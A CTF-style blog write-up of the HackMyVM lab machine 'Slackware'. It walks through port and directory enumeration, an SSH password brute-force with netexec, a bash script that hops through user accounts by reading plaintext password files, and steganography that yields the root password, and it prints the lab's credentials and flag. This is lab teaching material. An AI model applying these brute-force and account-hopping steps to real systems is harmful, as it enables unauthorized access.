Slackware

joseml
5 min readMay 2, 2024

--

Slackware, a machine on HackMyVM, presented an accessible challenge. Starting with an Nmap scan, SSH and Apache services were discovered. Web exploration revealed hidden directories, leading to user clues. With access to user ‘Patrick Volkerding’ was obtained. Further investigation unveiled a chain of user accounts, each offering a piece of the puzzle. Steganography revealed the passphrase ‘This_Is_Very_Difficult_Password’, granting root access.

ENUMERATION

Lets begin as always with an Nmap Scan:

target=127.0.0.1; nmap -T4 -p$(nmap -Pn -T4 $target | grep '^[0–9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -Pn -sVC $target
PORT STATE SERVICE VERSION
1/tcp open ssh OpenSSH 9.3 (protocol 2.0)
| ssh-hostkey:
| 256 e2:66:60:79:bc:d1:33:2e:c1:25:fa:99:e5:89:1e:d3 (ECDSA)
|_ 256 98:59:c3:a8:2b:89:56:77:eb:72:4a:05:90:21:cb:40 (ED25519)
2/tcp open http Apache httpd 2.4.58 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Tribute to Slackware
|_http-server-header: Apache/2.4.58 (Unix)

Looking into “robots.txt”:

http://192.168.56.121:2/robots.txt

User-agent: *
#7z.001

Let’s fuzz for some endpoints:

feroxbuster -u 'http://192.168.56.121:2/' -w /opt/wordlists/directory-list-lowercase-2.3-medium.txt
200 GET 1l 2w 12c http://192.168.56.121:2/getslack/

Still fuzzing:

feroxbuster -u 'http://192.168.56.121:2/getslack/' -w /opt/wordlists/directory-list-lowercase-2.3-medium.txt -x 'php,txt,7z,html,cgi'
200 GET 168l 672w 7511c http://192.168.56.121:2/ 
403 GET 7l 20w 199c http://192.168.56.121:2/getslack/.html
200 GET 1l 2w 12c http://192.168.56.121:2/getslack/index.html
403 GET 7l 20w 199c http://192.168.56.121:2/.html
200 GET 168l 672w 7511c http://192.168.56.121:2/index.html
200 GET 2l 3w 21c http://192.168.56.121:2/robots.txt
200 GET 1l 2w 12c http://192.168.56.121:2/getslack/

Nothing really interesting except the text on the index.html

http://192.168.56.121:2/getslack/index.html

search here

Let’s take the hint we saw on the “robots.txt” about a “.7z” file:

ffuf -u 'http://192.168.56.121:2/getslack/FUZZ.7z.001' -w /opt/wordlists/directory-list-lowercase-2.3-medium.txt -fs 12
twitter [Status: 200, Size: 20480, Words: 84, Lines: 81, Duration: 32ms]

Now, let’s generate a wordlist with possible parts of this file:

for i in {1..999}; do printf "%03d\n" $i >> seq.txt; done

Now let’s find the rest of the files:

ffuf -u 'http://192.168.56.121:2/getslack/twitter.7z.FUZZ' -w seq.txt -fs 12
003 [Status: 200, Size: 20480, Words: 78, Lines: 92, Duration: 6ms]
006 [Status: 200, Size: 20480, Words: 74, Lines: 68, Duration: 6ms]
007 [Status: 200, Size: 20480, Words: 93, Lines: 70, Duration: 8ms]
001 [Status: 200, Size: 20480, Words: 84, Lines: 81, Duration: 9ms]
002 [Status: 200, Size: 20480, Words: 79, Lines: 69, Duration: 9ms]
012 [Status: 200, Size: 20480, Words: 81, Lines: 67, Duration: 13ms]
010 [Status: 200, Size: 20480, Words: 90, Lines: 77, Duration: 14ms]
008 [Status: 200, Size: 20480, Words: 78, Lines: 84, Duration: 46ms]
004 [Status: 200, Size: 20480, Words: 93, Lines: 77, Duration: 39ms]
014 [Status: 200, Size: 1860, Words: 9, Lines: 9, Duration: 39ms]
009 [Status: 200, Size: 20480, Words: 84, Lines: 66, Duration: 49ms]
005 [Status: 200, Size: 20480, Words: 85, Lines: 69, Duration: 10ms]
011 [Status: 200, Size: 20480, Words: 83, Lines: 63, Duration: 10ms]
013 [Status: 200, Size: 20480, Words: 96, Lines: 58, Duration: 10ms]

As we can see the 014 is the highest number so let’s download all the files:

for i in {1..014}; do wget "http://192.168.56.121:2/getslack/twitter.7z.$(printf "%03d\n" $i)"; done
┌──(think㉿PYTHON)-[~/home/twitter]
└─$ ls
twitter.7z.001 twitter.7z.003 twitter.7z.005 twitter.7z.007 twitter.7z.009 twitter.7z.011 twitter.7z.013
twitter.7z.002 twitter.7z.004 twitter.7z.006 twitter.7z.008 twitter.7z.010 twitter.7z.012

The “.7z ” file contains only an image “twitter.png”, using strings on the file i got:

trYth1sPasS1993

Using “Google Lens” on the photo gave me:

Patrick Volkerding

with this i have used “username-anarchy”:

┌──(think㉿PYTHON)-[/opt/username-anarchy]
└─$ ./username-anarchy Patrick Volkerding > ~/home/users.txt

Now we bruteforce the username:

netexec ssh - port 1 $(IP) -u users.txt -p 'trYth1sPasS1993' | grep -v failed
SSH 192.168.56.121 1 192.168.56.121 [*] SSH-2.0-OpenSSH_9.3
SSH 192.168.56.121 1 192.168.56.121 [+] patrick:trYth1sPasS1993 (non root) Linux - Shell access!

EXPLOITATION

ssh patrick@$(IP) -p 1
(patrick@192.168.56.121) Password:
Linux 5.15.145.
patrick@slackware:~$ id
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)
patrick@slackware:~$ hostname
slackware.slackware.local
patrick@slackware:~$

ROOT

Using Linpeas i got some info:

╔══════════╣ My user
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#users
uid=1000(patrick) gid=1000(patrick) groups=1000(patrick),1001(kretinga)
╔══════════╣ Files inside others home (limit 20)
/home/claor/mypass.txt
/home/claor/.screenrc
/home/kretinga/mypass.txt
/home/kretinga/.screenrc

Every user on this chain belongs to a basic group from another user allowing him to read the password file on the home folder of that user. Like that we have a loooong chain of users to change.

patrick@slackware:/home$ cat /home/kretinga/mypass.txt
lpV8UG0GxKuw
patrick@slackware:/home$ cat /home/claor/mypass.txt
JRksNe5rWgis
claor@slackware:/home$ id
uid=1002(claor) gid=1002(claor) groups=1002(claor),1003(alienum)
claor@slackware:/home$ cat /home/alienum/mypass.txt
ex0XVRAAjCWX
alienum@slackware:/home$ id
uid=1003(alienum) gid=1003(alienum) groups=1003(alienum),1004(mrmidnight)
alienum@slackware:/home$ cat /home/mrmidnight/mypass.txt
B4ReHPEhmlPt
…SNIP…

I have created this script that finally does not works as expected but it made the task easier anyways:

#!/bin/bash

# Function to extract the last group from id command output
get_last_group() {
last_group=$(echo $(id) | cut -d ',' -f2 | cut -d '(' -f 2 | sed s'|)||')
echo "$last_group"
}

# Function to switch user to the last group
switch_to_last_group() {
group="$1"
password="$2"
USERNAME=$group
echo "Attempting to switch to group: $group"
echo "$password" | bash -c "su $USERNAME -c /tmp/exp &>/dev/null"
echo "$USERNAME : $password"
if [ $? -ne 0 ]; then
echo "Failed to switch to group: $group"
exit 1
fi
}

# Main loop
while true; do
last_group=$(get_last_group)
if [ -z "$last_group" ]; then
echo "Failed to retrieve last group. Exiting..."
exit 1
fi

group_home="/home/$last_group"
password_file="$group_home/mypass.txt"

if [ ! -f "$password_file" ]; then
echo "Password file $password_file not found. Exiting..."
exit 1
fi

password=$(cat "$password_file")

if [ -z "$password" ]; then
echo "Failed to retrieve password from $password_file. Exiting..."
exit 1
fi

cat "$password_file"

switch_to_last_group "$last_group" "$password"
done

I have stored the script on “/tmp” and gave access so everyone will be able to execute it. Then i have for each user just did “./exp” and it showed me the next user and password.

This is user flag:

rpj7 : wP26CtkDby6J

This is the last user

skinny : iJ7EnTBCtUS8

The user flag contains some weird spaces (white characters) on it so i have downloaded it to my attacking machine.

scp -P 1 rpj7@$(IP):~/user.txt originaluser.txt

There is something hidden in there:

stegsnow -C originaluser.txt
To_Jest_Bardzo_Trudne_Haslo

I have traduced it to: This_Is_Very_Difficult_Password

skinny@slackware:~$ su root
Password:
root@slackware:/home/skinny# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),17(audio)
root@slackware:/home/skinny# hostname
slackware.slackware.local
root@slackware:/home/skinny#
root@slackware:/home/skinny# cd /root
root@slackware:~# ls
roo00oot.txt
root@slackware:~# cat roo00oot.txt
There is no root flag here, but it is somewhere in the /home directory.

Let’s find the root flag:

root@slackware:~# cd /home
root@slackware:/home# grep -ri 'root'
skinny/.bash_history:su root
skinny/.bash_history:ls /root
skinny/.bash_history:su root
skinny/.bash_history:cat /var/mail/root
skinny/.bash_history:afppasswd -c root
skinny/.bash_history:cgexec -g *:root 'ls /root'
0xh3rshel/.screenrc:# Here is a flag for root: HMV{SlackwareStillAlive}
root@slackware:/home#

Congratulations! We have successfully completed this machine. Thank you for reading!

--

--